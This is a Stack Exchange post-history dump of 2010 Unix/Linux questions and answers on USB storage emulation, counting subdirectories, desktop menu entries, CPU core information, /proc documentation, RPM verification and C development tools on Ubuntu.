  <row Id="5641" PostHistoryTypeId="2" PostId="2720" RevisionGUID="32cf5d4c-de13-438d-876c-6a4bd702f8f4" CreationDate="2010-10-04T18:37:22.593" UserId="885" Text="From the information you've given, I surmise that:&#xD;&#xA;&#xD;&#xA;1. You have a black box device which you can communicate with only by plugging a USB mass storage device into it.&#xD;&#xA;2. Physically plugging and unplugging a USB drive is not acceptable, you won't have physical access after deployment.&#xD;&#xA;&#xD;&#xA;If any of these assumptions is false, you'll have an easier time.&#xD;&#xA;&#xD;&#xA;What you're looking for is a way to make a computer appear as a USB storage device. In principle, this shouldn't require much electronics — I think the right gadget could be mass produced for no more than a couple USD plus shipping. But I can't find a reference to the right gadget existing.&#xD;&#xA;&#xD;&#xA;Merely using a USB computer-to-computer cable won't do the trick: these simulate an Ethernet network, and the black box doesn't speak Ethernet. And USB-storage-to-LAN converters won't help, they go the wrong way round.&#xD;&#xA;&#xD;&#xA;1. You could design a robot arm that unplugs a USB stick from the black box and plugs it into a computer. Now that the obvious but impractical suggestion has been made...&#xD;&#xA;&#xD;&#xA;2. You could have the gadget designed, and write a driver for it. But this might be out of your price range, especially if you don't need millions of units.&#xD;&#xA;&#xD;&#xA;3. There may be a sophisticated [NAS](http://en.wikipedia.org/wiki/Network-attached_storage) device that can talk to several computers over [iSCSI](http://en.wikipedia.org/wiki/ISCSI) *and USB* (those last two words are the difficult part).&#xD;&#xA;&#xD;&#xA;4. Some mobile phones and PDAs can act as a USB storage device, and additionally have a GSM, wifi or Ethernet connection. But they often act as storage devices only when switched off, so I don't know if there is one that could be used as a bridge or server.&#xD;&#xA;&#xD;&#xA;5. [Here's a discussion about a somewhat similar requirement.](http://www.avsforum.com/avs-vb/showthread.php?t=1041700) The only possible solution it suggests is [this USB-storage-to-wifi bridge](http://www.infinitec.com/ium_drive/features.php), which looks like it would be suitable — but it's expensive.&#xD;&#xA;&#xD;&#xA;6. There are USB switches (a.k.a. sharing hubs) that allow you to share a USB device between two computers. You could use one to share a storage device between the black box and a computer. The problem is that they usually require the user to press a button to switch between the two devices — but if you find one where the switch can be controlled remotely, you have a solution.&#xD;&#xA;" />
  <row Id="5642" PostHistoryTypeId="2" PostId="2721" RevisionGUID="8d30e5a6-a6ac-4c5e-bc11-6ae6ed9f8b49" CreationDate="2010-10-04T18:41:58.187" UserId="1397" Text="I have some CentOS 5.5 systems.  I have installed the rdesktop rpm, however no entry appears to be made in the gnome or kde menus for it.&#xD;&#xA;&#xD;&#xA;Where is the menu structure in the filesystem?  Is it one location shared for both Gnome and KDE installations, or are they in separate places?&#xD;&#xA;&#xD;&#xA;I am presuming that once I find this structure, I can copy an existing entry and point it at my newly installed program (rdesktop in this case).  I want to do this so that I can do it automatically at kickstart time in the future.  Is this a bad assumption?  Should I do this another way?" />
  <row Id="5643" PostHistoryTypeId="1" PostId="2721" RevisionGUID="8d30e5a6-a6ac-4c5e-bc11-6ae6ed9f8b49" CreationDate="2010-10-04T18:41:58.187" UserId="1397" Text="Where and how do I create new system-wide menu items for CentOS/RH 5?" />
  <row Id="5644" PostHistoryTypeId="3" PostId="2721" RevisionGUID="8d30e5a6-a6ac-4c5e-bc11-6ae6ed9f8b49" CreationDate="2010-10-04T18:41:58.187" UserId="1397" Text="égnomeàékdeà" />
  <row Id="5645" PostHistoryTypeId="6" PostId="2714" RevisionGUID="06fd0531-931a-4d48-b939-ac26a2c540e5" CreationDate="2010-10-04T19:27:39.043" UserId="1207" Comment="edited tags" Text="éxorgàéxforwardingàéfontsàéx11à" />
  <row Id="5646" PostHistoryTypeId="2" PostId="2722" RevisionGUID="025826a0-925f-4ee8-ae58-c6f6de2319c0" CreationDate="2010-10-04T19:42:08.180" UserId="903" Text="When displaying directories using `ls -l`, their number of links (the second field in the output) is at least two: one for the dir name and one for `.`  &#xD;&#xA;&#xD;&#xA;    $ mkdir foo&#xD;&#xA;    $ ls -l&#xD;&#xA;    total 2&#xD;&#xA;    drwxr-xr-x  2 user   wheel  512  4 oct 14:02 foo&#xD;&#xA;&#xD;&#xA;Is it safe to always assume that the number of links above 2 corresponds to the number of subdirectories in this dir (`..` links) ?" />
  <row Id="5647" PostHistoryTypeId="1" PostId="2722" RevisionGUID="025826a0-925f-4ee8-ae58-c6f6de2319c0" CreationDate="2010-10-04T19:42:08.180" UserId="903" Text="How do I determine a number of sub-directories in a directory from the `ls -l` output? " />
  <row Id="5648" PostHistoryTypeId="3" PostId="2722" RevisionGUID="025826a0-925f-4ee8-ae58-c6f6de2319c0" CreationDate="2010-10-04T19:42:08.180" UserId="903" Text="éfilesystemsà" />
  <row Id="5649" PostHistoryTypeId="2" PostId="2723" RevisionGUID="f64a49d8-8c6e-418d-9a4e-285d61a31dc8" CreationDate="2010-10-04T19:57:23.307" UserId="1942" Text="ls -l |grep ^d|wc -l" />
  <row Id="5650" PostHistoryTypeId="2" PostId="2724" RevisionGUID="dd2e815b-cf83-43cb-a429-95b1526a2786" CreationDate="2010-10-04T20:00:37.090" UserId="1327" Text="I can't find anything in the [documentation][1] that confirms that the number of links will always be +2 on the number of subdirectories.&#xD;&#xA;&#xD;&#xA;But, to find the correct ammount, use:&#xD;&#xA;&#xD;&#xA;    find . -type f | wc -l&#xD;&#xA;&#xD;&#xA;Or if you have to use `ls -l`, see the other answer.&#xD;&#xA;&#xD;&#xA;[1]:http://www.mkssoftware.com/docs/man1/ls.1.asp#Long_Output_Format" />
  <row Id="5651" PostHistoryTypeId="2" PostId="2725" RevisionGUID="46437d5e-ce1b-4676-bd0c-3ed4c224b2bf" CreationDate="2010-10-04T20:04:51.927" UserId="26" Text="Even if you solve the USB specific issues like making a USB host look like a USB device, you'll run into problems mounting the filesystem on two different devices at the same time.&#xD;&#xA;&#xD;&#xA;If Box A has a drive (let's say /dev/sdb1) and it's mounted and using the files on /dev/sdb1, what happens when Box B mounts wants access to those files? At the lowest level, USB is going to want to expect to deal with a device, not a filesystem." />
  <row Id="5652" PostHistoryTypeId="5" PostId="2724" RevisionGUID="16a99840-0b04-46dc-972c-2823b1618f21" CreationDate="2010-10-04T20:05:41.703" UserId="1327" Comment="added 12 characters in body" Text="I can't find anything in the [documentation][1] that confirms that the number of links will always be +2 on the number of subdirectories.&#xD;&#xA;&#xD;&#xA;But, to find the correct ammount, use:&#xD;&#xA;&#xD;&#xA;    find . -type f -maxdepth 1 | wc -l&#xD;&#xA;&#xD;&#xA;Or if you have to use `ls -l`, see the other answer.&#xD;&#xA;&#xD;&#xA;[1]:http://www.mkssoftware.com/docs/man1/ls.1.asp#Long_Output_Format" />
  <row Id="5653" PostHistoryTypeId="5" PostId="2721" RevisionGUID="edbb0f2c-4424-419a-981b-60bf2c593792" CreationDate="2010-10-04T20:07:07.670" UserId="1397" Comment="thank you redhat" Text="I have some CentOS 5.5 systems.  I have installed the rdesktop rpm, however no entry appears to be made in the gnome or kde menus for it.&#xD;&#xA;&#xD;&#xA;Where is the menu structure in the filesystem?  Is it one location shared for both Gnome and KDE installations, or are they in separate places?&#xD;&#xA;&#xD;&#xA;I am presuming that once I find this structure, I can copy an existing entry and point it at my newly installed program (rdesktop in this case).  I want to do this so that I can do it automatically at kickstart time in the future.  Is this a bad assumption?  Should I do this another way?&#xD;&#xA;&#xD;&#xA;Update:  It turns out rdesktop actually did install an icon, intuitively named &quot;krdc&quot;.  But the general question stands." />
  <row Id="5654" PostHistoryTypeId="2" PostId="2726" RevisionGUID="d77764cd-6d4d-4726-b84a-16762c0d4a4d" CreationDate="2010-10-04T20:09:57.020" UserId="885" Text="It is *usually* true on unix systems that the number of links to a directory is the number of subdirectories plus 2. However there are cases where this is not true:&#xD;&#xA;&#xD;&#xA;* Some unices allow hard links to directories. Then there will be more than 2 links that do not correspond to subdirectories.&#xD;&#xA;&#xD;&#xA;* There are filesystems where directories do not have entries for `.` and `..`. The [GNU find manual](http://www.gnu.org/software/findutils/manual/html_mono/find.html#Directories) mentions some examples in the discussion of its `-noleaf` option (which disables an optimization that assumes that `.` and `..` exist in all directories): “CD-ROM or MS-DOS filesystems or AFS volume mount points”&#xD;&#xA;&#xD;&#xA;An almost reliable way to count the number of subdirectories (it may still fail if a file name contains a newline character) is&#xD;&#xA;&#xD;&#xA;    $(($(LC_ALL=C ls -la /path/to/directory | grep '^d' | wc -l) - 2)&#xD;&#xA;&#xD;&#xA;A more reliable way uses shell globs `*/` and `.*/`; as usual handling the case where the pattern doesn't match is a bit of a pain (except in bash and zsh where you can turn on the `nullglob` option).&#xD;&#xA;" />
  <row Id="5655" PostHistoryTypeId="2" PostId="2727" RevisionGUID="c24282e0-52fc-464a-b05e-ae1aa4770314" CreationDate="2010-10-04T20:34:54.753" UserId="274" Text="According to the [Freedesktop specification](http://standards.freedesktop.org/menu-spec/menu-spec-latest.html#locations), which both GNOME and KDE support, the recommended filesystem locations for placing `.desktop` files are: &#xD;&#xA;&#xD;&#xA;* `/usr/share/applications` for system-wide menu items;&#xD;&#xA;&#xD;&#xA;* `~/.local/share/applications` for user-private menu items.&#xD;&#xA;&#xD;&#xA;The command-line utility [xdg-desktop-menu](http://portland.freedesktop.org/xdg-utils-1.0/xdg-desktop-menu.html) is provided to install `.desktop` files in a specific submenu (identified by a `.directory` file).&#xD;&#xA;" />
  <row Id="5656" PostHistoryTypeId="5" PostId="2724" RevisionGUID="77476ba1-3dc3-43d8-ad94-4d568031abb2" CreationDate="2010-10-04T20:37:59.110" UserId="1327" Comment="added 13 characters in body" Text="I can't find anything in the [documentation][1] that confirms that the number of links will always be +2 on the number of subdirectories.&#xD;&#xA;&#xD;&#xA;But, to find the correct ammount, use:&#xD;&#xA;&#xD;&#xA;    find . -type d -mindepth 1  -maxdepth 1 | wc -l&#xD;&#xA;&#xD;&#xA;Or if you have to use `ls -l`, see the other answer.&#xD;&#xA;&#xD;&#xA;[1]:http://www.mkssoftware.com/docs/man1/ls.1.asp#Long_Output_Format" />
  <row Id="5657" PostHistoryTypeId="2" PostId="2728" RevisionGUID="6bcec003-2821-44d4-93ca-53482f5e99a8" CreationDate="2010-10-04T20:49:04.890" UserId="2150" Text="I want to play around with threading and parallelism.  I know my processor has multiple cores, but do not know how to see what is happening on each of them.  What is the right way to access this information?&#xD;&#xA;&#xD;&#xA;More concretely, I am planning the following:&#xD;&#xA;I imagine writing a little program that launches several threads, these threads should then be spread over the cores and communicate with each other where needed.  I would like to be able to observe where which thread is running, any hints?&#xD;&#xA;&#xD;&#xA;I am completely new to trying this kind of thing (I would also be quite happy with any information related to this that does not directly address this question).&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;Bart&#xD;&#xA;&#xD;&#xA;(googling only got me to &quot;cat /proc/cpuinfo&quot;, which seems to tell me I have 7 processors.  This is not a true fact, which tells me I do not know how to read this output.)" />
  <row Id="5658" PostHistoryTypeId="1" PostId="2728" RevisionGUID="6bcec003-2821-44d4-93ca-53482f5e99a8" CreationDate="2010-10-04T20:49:04.890" UserId="2150" Text="Processor use and core use." />
  <row Id="5659" PostHistoryTypeId="3" PostId="2728" RevisionGUID="6bcec003-2821-44d4-93ca-53482f5e99a8" CreationDate="2010-10-04T20:49:04.890" UserId="2150" Text="élinuxàédevelopmentà" />
  <row Id="5660" PostHistoryTypeId="2" PostId="2729" RevisionGUID="89869ab9-8274-4910-be9f-3eee11c3a38e" CreationDate="2010-10-04T21:04:48.587" UserId="1397" Text="Each core gets its own entry in `/proc/cpuinfo`, so there is a lot of redundant information here.  &#xD;&#xA;&#xD;&#xA;To get an overview of how many cpus and/or cores you have, do something like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;    processor   : 0&#xD;&#xA;    physical id : 0&#xD;&#xA;    core id     : 0&#xD;&#xA;    processor   : 1&#xD;&#xA;    physical id : 0&#xD;&#xA;    core id     : 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is run on my single-chip, dual-core computer.  So I have two cores, numbered 0 and 1, but both of them belong to the physical cpu 0.&#xD;&#xA;&#xD;&#xA;Computer guys like to count from 0, remember.&#xD;&#xA;&#xD;&#xA;Here's the output from a dual-cpu, single-core system:&#xD;&#xA;&#xD;&#xA;$ egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;processor       : 0&#xD;&#xA;processor       : 1&#xD;&#xA;&#xD;&#xA;So I have two CPUs, but since no cores are specified I know that each processor chip has a single core.&#xD;&#xA;&#xD;&#xA;Something a bit more interesting:&#xD;&#xA;&#xD;&#xA;    $ egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;    processor       : 0&#xD;&#xA;    physical id     : 0&#xD;&#xA;    core id         : 0&#xD;&#xA;    processor       : 1&#xD;&#xA;    physical id     : 0&#xD;&#xA;    core id         : 1&#xD;&#xA;    processor       : 2&#xD;&#xA;    physical id     : 1&#xD;&#xA;    core id         : 0&#xD;&#xA;    processor       : 3&#xD;&#xA;    physical id     : 1&#xD;&#xA;    core id         : 1&#xD;&#xA;&#xD;&#xA;Here's my dual-cpu dual-core system.  I have &quot;processors&quot; 0-3, and each lives on processor 0 or 1, as core 0 or 1.&#xD;&#xA;&#xD;&#xA;You get the idea.&#xD;&#xA;&#xD;&#xA;All that said, I suspect you have a dual-cpu quad-core system, with processors 0 through 7." />
  <row Id="5661" PostHistoryTypeId="2" PostId="2730" RevisionGUID="52e8ef8d-2a85-4ac6-a436-647a8d07b151" CreationDate="2010-10-04T21:06:32.207" UserId="305" Text="**Number of processors:** Please note that numbering starts from 0 so if I have processor 1 I have at least 2 of them&#xD;&#xA;&#xD;&#xA;**Bounding to threads** Threads will not be bound to CPU's (unless you do tricks by using cpulimit - in most cases you shouldn't). Assuming that you have configured kernel with 1000Hz and there is no I/O the context switch is done 1000 times per second. Now in my 2 Processors setup I have around 300 threads running at this moment which means that 6.(6) slots will be allocated per process. It is safe to assume that in any second each process will occupy the both core.&#xD;&#xA;&#xD;&#xA;Given - the staircase algorithms, I/O make it not necessary true but each thread at one second may be on both cores - as well as running nowhere as it is waiting (so it is not bounded to any core).&#xD;&#xA;&#xD;&#xA;**Hyperthreading** I guess that you have 4 core Intel iX with hyperthreading (unless you have dual processor machine). Hyperthreading works by emulating a separate core. So if process is waiting on one core for I/O it can switch to executing another - which of course complicate matter further.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access" />
  <row Id="5662" PostHistoryTypeId="5" PostId="2730" RevisionGUID="50afce87-ac87-4625-b102-9acba985ee10" CreationDate="2010-10-04T21:22:00.170" UserId="305" Comment="added 6 characters in body" Text="**Number of processors:** Please note that numbering starts from 0 so if I have processor 1 I have at least 2 of them&#xD;&#xA;&#xD;&#xA;**Bounding to threads** Threads will not be bound to CPU's (unless you do tricks by using cpulimit &amp; co. - in most cases you shouldn't). Assuming that you have configured kernel with 1000Hz and there is no I/O the context switch is done 1000 times per second. Now in my 2 Processors setup I have around 300 threads running at this moment which means that 6.(6) slots will be allocated per process. It is safe to assume that in any second each process will occupy the both core.&#xD;&#xA;&#xD;&#xA;Given - the staircase algorithms, I/O make it not necessary true but each thread at one second may be on both cores - as well as running nowhere as it is waiting (so it is not bounded to any core).&#xD;&#xA;&#xD;&#xA;**Hyperthreading** I guess that you have 4 core Intel iX with hyperthreading (unless you have dual processor machine). Hyperthreading works by emulating a separate core. So if process is waiting on one core for I/O it can switch to executing another - which of course complicate matter further.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Non-Uniform_Memory_Access" />
  <row Id="5663" PostHistoryTypeId="5" PostId="2729" RevisionGUID="58f6e67a-154f-4106-87f7-b2c73b937b66" CreationDate="2010-10-04T21:37:54.220" UserId="1397" Comment="4matting" Text="Each core gets its own entry in `/proc/cpuinfo`, so there is a lot of redundant information here.  &#xD;&#xA;&#xD;&#xA;To get an overview of how many cpus and/or cores you have, do something like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    # egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;    processor   : 0&#xD;&#xA;    physical id : 0&#xD;&#xA;    core id     : 0&#xD;&#xA;    processor   : 1&#xD;&#xA;    physical id : 0&#xD;&#xA;    core id     : 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is run on my single-chip, dual-core computer.  So I have two cores, numbered 0 and 1, but both of them belong to the physical cpu 0.&#xD;&#xA;&#xD;&#xA;Computer guys like to count from 0, remember.&#xD;&#xA;&#xD;&#xA;Here's the output from a dual-cpu, single-core system:&#xD;&#xA;&#xD;&#xA;    $ egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;    processor       : 0&#xD;&#xA;    processor       : 1&#xD;&#xA;&#xD;&#xA;So I have two CPUs, but since no cores are specified I know that each processor chip has a single core.&#xD;&#xA;&#xD;&#xA;Something a bit more interesting:&#xD;&#xA;&#xD;&#xA;    $ egrep 'processor|core id|physical id' /proc/cpuinfo&#xD;&#xA;    processor       : 0&#xD;&#xA;    physical id     : 0&#xD;&#xA;    core id         : 0&#xD;&#xA;    processor       : 1&#xD;&#xA;    physical id     : 0&#xD;&#xA;    core id         : 1&#xD;&#xA;    processor       : 2&#xD;&#xA;    physical id     : 1&#xD;&#xA;    core id         : 0&#xD;&#xA;    processor       : 3&#xD;&#xA;    physical id     : 1&#xD;&#xA;    core id         : 1&#xD;&#xA;&#xD;&#xA;Here's my dual-cpu dual-core system.  I have &quot;processors&quot; 0-3, and each lives on processor 0 or 1, as core 0 or 1.&#xD;&#xA;&#xD;&#xA;You get the idea.&#xD;&#xA;&#xD;&#xA;All that said, I suspect you have a dual-cpu quad-core system, with processors 0 through 7." />
  <row Id="5664" PostHistoryTypeId="2" PostId="2731" RevisionGUID="d48eefdb-3ebe-4c43-aeb3-edbb41911f83" CreationDate="2010-10-04T23:54:03.960" UserDisplayName="Lattice" Text="Hello guys. When I was using ubuntu i used to add the cd to software sources and install a package called bcmwl* and the wireless would work immediately. Now on Opensuse the wireless is not working and as a regular user I am not sure what to do exactly ..&lt;br /&gt;&#xD;&#xA;I typed dmesg at terminal and i got a long file with &quot;Broadcom 4312 WLAN found&quot; but i am unable to find my network or connect. Please help" />
  <row Id="5665" PostHistoryTypeId="1" PostId="2731" RevisionGUID="d48eefdb-3ebe-4c43-aeb3-edbb41911f83" CreationDate="2010-10-04T23:54:03.960" UserDisplayName="Lattice" Text="Opensuse 11.3 with Dell inspiron 1564 wireless" />
  <row Id="5666" PostHistoryTypeId="3" PostId="2731" RevisionGUID="d48eefdb-3ebe-4c43-aeb3-edbb41911f83" CreationDate="2010-10-04T23:54:03.960" UserDisplayName="Lattice" Text="éopensuseàéwirelessàébroadcomà" />
  <row Id="5667" PostHistoryTypeId="2" PostId="2732" RevisionGUID="4a860f0f-f39d-43b7-afbd-4f0396637aa7" CreationDate="2010-10-05T00:00:11.797" UserId="1942" Text="Is there a site someplace that lists the contents of /proc and what each entry means?" />
  <row Id="5668" PostHistoryTypeId="1" PostId="2732" RevisionGUID="4a860f0f-f39d-43b7-afbd-4f0396637aa7" CreationDate="2010-10-05T00:00:11.797" UserId="1942" Text="Contents of /proc" />
  <row Id="5669" PostHistoryTypeId="3" PostId="2732" RevisionGUID="4a860f0f-f39d-43b7-afbd-4f0396637aa7" CreationDate="2010-10-05T00:00:11.797" UserId="1942" Text="ékernelà" />
  <row Id="5670" PostHistoryTypeId="2" PostId="2733" RevisionGUID="a5165c5e-1109-4742-929d-56a935168a9f" CreationDate="2010-10-05T00:13:25.417" UserId="138" Text="If you mean the Linux implementation of `/proc`, the documentation for it is &lt;a href=&quot;http://www.kernel.org/doc/Documentation/filesystems/proc.txt&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;If you mean some other *ix, please specify.  There are differences among the major branches of Unix, so one document may mislead you when trying to apply what it says to a different *ix." />
  <row Id="5671" PostHistoryTypeId="6" PostId="2732" RevisionGUID="6262c2fb-901f-4fb5-b64f-7e6aec9ec4fe" CreationDate="2010-10-05T00:35:47.423" UserId="73" Comment="edited tags" Text="élinuxàékernelà" />
  <row Id="5672" PostHistoryTypeId="2" PostId="2734" RevisionGUID="8e990db1-320f-4d78-b870-89b5f73e27ee" CreationDate="2010-10-05T00:56:50.173" UserId="1942" Text="You could look at [Puppy Linux][1]. It may not be the smallest but it has a repuation of being small.&#xD;&#xA;&#xD;&#xA;However Linux distrtos that are meant to be small generally tend to stay small. For learning linux, I would a live debian somewhere. .I would get the debian kernel sources, bash sources and grub sources cross compile and install. Then cross compile install an editor, apt and gcc. Then generate a list of packages from the debian live. Install the source for each package, compile and install. Then add X then the Wm of your choice then you have the basis for what you want to do.&#xD;&#xA;&#xD;&#xA;PS: apt-get source gets you the source for a debian package.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.puppylinux.com/" />
  <row Id="5673" PostHistoryTypeId="5" PostId="2599" RevisionGUID="decc1181-502b-4e2f-89f9-f7ea2d0df2c9" CreationDate="2010-10-05T01:12:35.780" UserId="2103" Comment="more info on auto-configuration" Text="The default xorg configuration file created does not allow me to set up the display resolution I want (1360x768).&#xD;&#xA;&#xD;&#xA;The auto configuration command `xorg -configure` didn't create the proper configuration file either (see below).&#xD;&#xA;&#xD;&#xA;What's steps do I need to follow in order to manually add the resultion I want as one of the available ones?&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;&#xD;&#xA;I'm running this:&#xD;&#xA;&#xD;&#xA;- CentOS 5.5, Linux 2.6.18-53.el5&#xD;&#xA;- X Window System Version 7.1.1&#xD;&#xA;- Gnome version 2.16&#xD;&#xA;&#xD;&#xA;Auto-configuration:&#xD;&#xA;&#xD;&#xA;- The same hardware with other linux distribution worked fine right after installation, allowing me to set up the display to 1600x900.&#xD;&#xA;- The xorg.config file created during the installation allows me to set only 800x600 and 1024x768.&#xD;&#xA;- If I raun `xorg -configure`, then X server won't start (it says that it could not be started with that configuration file). I had to manually go back to the previous xorg.config file." />
  <row Id="5674" PostHistoryTypeId="2" PostId="2735" RevisionGUID="03b778c2-c980-4efc-9034-4f81a37a615c" CreationDate="2010-10-05T01:13:23.590" UserId="4" Text="This is a RedHat Enterprise 5.5 system. I ran a verification check against an RPM, and it looks like two files have changed:&#xD;&#xA;&#xD;&#xA;    # rpm --verify shadow-utils &#xD;&#xA;    S.5....T  c /etc/default/useradd&#xD;&#xA;    S.5....T  c /etc/login.defs&#xD;&#xA;&#xD;&#xA;I have access to the RPM which originally installed these files. Can diff these changed files against the version which is stored in the RPM?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5675" PostHistoryTypeId="1" PostId="2735" RevisionGUID="03b778c2-c980-4efc-9034-4f81a37a615c" CreationDate="2010-10-05T01:13:23.590" UserId="4" Text="Diff of live file against file stored in RPM?" />
  <row Id="5676" PostHistoryTypeId="3" PostId="2735" RevisionGUID="03b778c2-c980-4efc-9034-4f81a37a615c" CreationDate="2010-10-05T01:13:23.590" UserId="4" Text="ésecurityàérpmàérhelà" />
  <row Id="5677" PostHistoryTypeId="2" PostId="2736" RevisionGUID="a455098d-1ba5-43fc-a30a-37d01d034ea1" CreationDate="2010-10-05T01:57:20.673" UserId="2117" Text="Basically /proc has the files that are stored on RAM while boot process and remain there as long as system is up. Getting to know what's on this file is like reading RAM. That's why you cant change the contents or values of these files using vim or some any other editor. They need to be forced with some boolean values. &#xD;&#xA;&#xD;&#xA;[Here][1] I've got some good documentation with the whole list and their description.&#xD;&#xA;&#xD;&#xA;Hope this helps !&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.comptechdoc.org/os/linux/howlinuxworks/linux_hlproc.html" />
  <row Id="5678" PostHistoryTypeId="5" PostId="2733" RevisionGUID="cabc2480-dda2-49d3-a5ea-d38a307f93ae" CreationDate="2010-10-05T02:39:27.820" UserId="138" Comment="The question now specifies Linux, so reworked the answer to address the question as now asked" Text="The documentation for Linux's implementation of `/proc` is &lt;a href=&quot;http://www.kernel.org/doc/Documentation/filesystems/proc.txt&quot;&gt;here&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;Beware that `/proc` is one of the areas where *ixes differ most.  It started out as a System V specific feature, was then greatly extended by Linux, and is now in the process of being deprecated by things like `/sys`.  The BSDs &amp;mdash; including OS X &amp;mdash; haven't adopted it at all.  Therefore, if you write a program or script that accesses things in `/proc`, there is a good chance it won't work on other *ixes." />
  <row Id="5679" PostHistoryTypeId="2" PostId="2737" RevisionGUID="75924ef9-9d05-485b-9ab1-edea31cf9f1a" CreationDate="2010-10-05T02:51:22.787" UserId="308" Text="I tried to use Linux GUI for Fedora but I did not find it intuitive than that of windows. Whenever I tried installing any software using rpm file by double clicking file, many times it stuck and when I reinvoke that from terminal it says yum is already locked and some other  installation process is already running and I always have to force quit that process. From OS point of view this seems to be Scheduling problem. (How) can we replace scheduling  for Linux x window? Is there any better scheduling available for Fedora linux x window?" />
  <row Id="5680" PostHistoryTypeId="1" PostId="2737" RevisionGUID="75924ef9-9d05-485b-9ab1-edea31cf9f1a" CreationDate="2010-10-05T02:51:22.787" UserId="308" Text="Is Linux built to be used only from Terminal, Is there any better scheduling package for Linux ?" />
  <row Id="5681" PostHistoryTypeId="3" PostId="2737" RevisionGUID="75924ef9-9d05-485b-9ab1-edea31cf9f1a" CreationDate="2010-10-05T02:51:22.787" UserId="308" Text="élinuxàéfedoraàéschedulingà" />
  <row Id="5682" PostHistoryTypeId="2" PostId="2738" RevisionGUID="8826136d-82f5-45f1-a5d7-b0fd621cf022" CreationDate="2010-10-05T04:33:00.110" UserId="576" Text="What's the best IDE for developing C / C++ on Ubuntu? I tried installing Eclipse but it seems like I need the eclipse-cdt package also.  The problem is there is no such package, at least for Lucid.  How do I proceed?  I am not tied to Eclipse." />
  <row Id="5683" PostHistoryTypeId="1" PostId="2738" RevisionGUID="8826136d-82f5-45f1-a5d7-b0fd621cf022" CreationDate="2010-10-05T04:33:00.110" UserId="576" Text="Develop / Debug C / C++ on Ubuntu?" />
  <row Id="5684" PostHistoryTypeId="3" PostId="2738" RevisionGUID="8826136d-82f5-45f1-a5d7-b0fd621cf022" CreationDate="2010-10-05T04:33:00.110" UserId="576" Text="édevelopmentàécà" />
  <row Id="5685" PostHistoryTypeId="5" PostId="171" RevisionGUID="799feb1e-3a16-4c5e-aaac-4b2b79f1d286" CreationDate="2010-10-05T04:46:45.173" UserId="73" Comment="added 2 characters in body" Text="* [Emacs](http://en.wikipedia.org/wiki/Emacs)/[Vim](http://en.wikipedia.org/wiki/Vim_(text_editor))/[Eclipse](http://en.wikipedia.org/wiki/Eclipse_(software))/... - Personally I am an Emacs user.  If you find the control sequences tire your pinky, just Viper-Mode it up.  Emacs is so well integrated into unix, making it very easy to control everything all from one place.  Vim also does a good job here, but I find Elisp to be a much more powerful extension language than Vim Script.  One could talk for hours about all of the ways to set up Emacs for C development.  [Flymake Mode](http://flymake.sourceforge.net/) has been mentioned, and is a super start to things.  I am not familiar with Eclipse, I do not find it leaves enough room on my screen for code, nor do I like how bloated it is(Vim users will say the same thing about Emacs).  I am also unfairly biased against anything written in Java, for purely aesthetic reasons.&#xD;&#xA;&#xD;&#xA;* [Ctags](http://en.wikipedia.org/wiki/Ctags) - Tags your C(or many other language) functions so that Vim or Emacs or whatever can do a little bit of hyper-text linking in your files.  Say you're wandering around and you see a function and you're scratching your head saying &quot;What does that one do again? The naming is a bit vague.&quot; Plink-plank-plunk, you can zap straight to it's definition.&#xD;&#xA;&#xD;&#xA;* [Cmake](http://en.wikipedia.org/wiki/CMake)/[Gnu-Autotools](http://en.wikipedia.org/wiki/GNU_build_system) - Make is great, but at some point you need to abstract things a bit so that your project can build itself on all sorts of systems you have no way of testing for.  If you only need people to build your code on a *nix, Autotools is great, but realy you should familiarize yourself with Cmake anyway.  The Cmake team build code in every conceivable configuration possible and make sure that you don't have to go through the headache.  If you want your project to be easily picked up buy others, one of these tools is crucial.&#xD;&#xA;&#xD;&#xA;* [Git](http://en.wikipedia.org/wiki/Git_\(software\))/[Mercurial](http://en.wikipedia.org/wiki/Mercurial)/[Subversion](http://en.wikipedia.org/wiki/Subversion_\(software\))/... - You could spend months researching version control software, but you should probably just go with Git.  It's solid, it's distributed, the @$!#%&amp; Linux Kernel is tracked with it.  If it's good enough for Linus, it's got to be good enough for you.  I also hear good things about Mercurial, apparently G**gle uses them, so it's probably not bad.  Some people appear to like Subversion and CVS and whatnot.  I don't like them because they are monolithic, which to me is very inconvenient and limiting.  &#xD;&#xA;&#xD;&#xA;* [Stumpwm](http://www.nongnu.org/stumpwm)/[wmii](http://en.wikipedia.org/wiki/Wmii)/[XMonad](http://en.wikipedia.org/wiki/Xmonad)/... - At some point you're going to realize that anything you can do to keep your work flowing is going to greatly improve your output.  One of the best ways to keep your brain from breaking it's context is to switch to tiling, KEYBOARD DRIVEN window managers.  I am a personal fan of StumpWM, the Emacs of window managers.  Fully implemented in an on-the-fly customizable Common Lisp process, anything you find yourself doing repetitiously can be banished away into functions and bound to commands.  Great stuff.  I don't know much about any of the others, but maybe further elaboration is better left to another thread.  USE KEYBOARD AS MUCH AS POSSIBLE.&#xD;&#xA;&#xD;&#xA;* [GDB](http://en.wikipedia.org/wiki/Gdb) - I'm not familiar with other debuggers, but this appears to be the de-facto standard.&#xD;&#xA;&#xD;&#xA;* [Valgrind](http://en.wikipedia.org/wiki/Valgrind) - I don't know of anything else that does what this does so well. Valgrind is crucial for all those pesky profiling/memory leak hunts you want to go on.  You just can't write code with malloc/calloc without Valgrind." />
